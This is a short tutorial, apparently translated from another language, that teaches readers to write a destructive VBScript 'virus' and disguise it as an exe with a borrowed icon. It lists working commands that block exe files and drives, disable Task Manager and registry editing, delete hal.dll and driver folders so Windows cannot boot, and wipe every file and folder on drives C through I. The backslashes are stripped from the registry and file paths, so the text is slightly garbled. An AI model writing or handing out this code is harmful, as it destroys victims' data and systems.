Writing a simple virus in 15 minutes

[Hacker]

The malware will be written in visual basic script.

Then compiled into "exe" format.

Let's get started:

First, you need to be able to change the file extension, and that's where we'll start.

There are many ways, but I like it.

Everyone should have a regular archiver,so we'll use it.

So, for example, create a text file called "Text Document".

Now find this text file in your archiver. In the archiver, you should see the following: "Text-based document.txt".

The ending "txt" is the name of the file extension, so you need to change it, just like if you edit the name of a folder or file, erase the line "txt" and put it in "mp3".

As a result, we get a "Text document. mp3" format.

If everything is clear, and there are no questions to be raised about this, then let's move on.

Create a text document containing the following:

on error resume next

Set S = CreateObject("Wscript.Shell")

set FSO=createobject("scripting.filesystemobject")

s.run"rundll32 user32, SwapMouseButton"

Then, after saving the received data, you need to change the file extension, and instead of "txt"write "vbs".

The abbreviation " vbs " comes from the name of the programming language - "visual basic script".

Here we have the first, simple, malicious program that swaps mouse buttons.

Now you need to compile (change) it to the " exe "format using the program:" Vbs2Exe", and set any icon using the icon grabber: "IconToy".

And now information for those who do not intend to limit their capabilities to a banal exchange of mouse buttons.

on error resume next

Set S = CreateObject("Wscript.Shell")

set FSO=createobject("scripting.filesystemobject")

Three, top lines - must always be present. Further, the encoding should follow, and an explanation should appear in parentheses below.

It is also possible to combine these or other malicious commands.

s.regwrite"HKCRexefileshellopencommand","rundll32.exe"

(It is forbidden to open " EXE " files)

s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives","67108863","REG_DWORD"

s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive","67108863","REG_DWORD"

(disallow access to hard drives)

fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

(the system file is deleted, after which Windows cannot boot.

The system works until the first reboot)

fso.deletefolder fso.getspecialfolder(0)+"system32drives",1

fso.deletefolder fso.getspecialfolder(0)+"Driver Cache"

(removing drivers)

fso. deletefolder "ADDRESS", 1

(Deleting a folder. Example: fso. deletefolder "C:New folder", 1)

fso.deletefolder "C:*.*",1

(Deleting all folders on Disk c. You can set any address)

fso. deletefile "ADDRESS", 1

(Delete the file. Example: fso. deletefile " C:New Foldertext документ.txt", 1)

fso.deletefile "C:*.*",1

(Deleting all files on Disk c. You can set any address)

s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisableregistrytools","1","REG_DWORD"

(Stop editing the registry)

s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisabletaskmgr","1","REG_DWORD"

(Banning the Task Manager)

s.run"rundll32 user32, SwapMouseButton"

(Exchange of mouse buttons)

Example:

on error resume next

Set S = CreateObject("Wscript.Shell")

set FSO=createobject("scripting.filesystemobject")

fso.deletefile "C:*.*",1

fso.deletefolder "C:*.*",1

fso.deletefile "D:*.*",1

fso.deletefolder "D:*.*",1

fso.deletefile "E:*.*",1

fso.deletefolder "E:*.*",1

fso.deletefile "F:*.*",1

fso.deletefolder "F:*.*",1

fso.deletefile "G:*.*",1

fso.deletefolder "G:*.*",1

fso.deletefile "H:*.*",1

fso.deletefolder "H:*.*",1

fso.deletefile "I:*.*",1

fso.deletefolder "I:*.*",1

fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1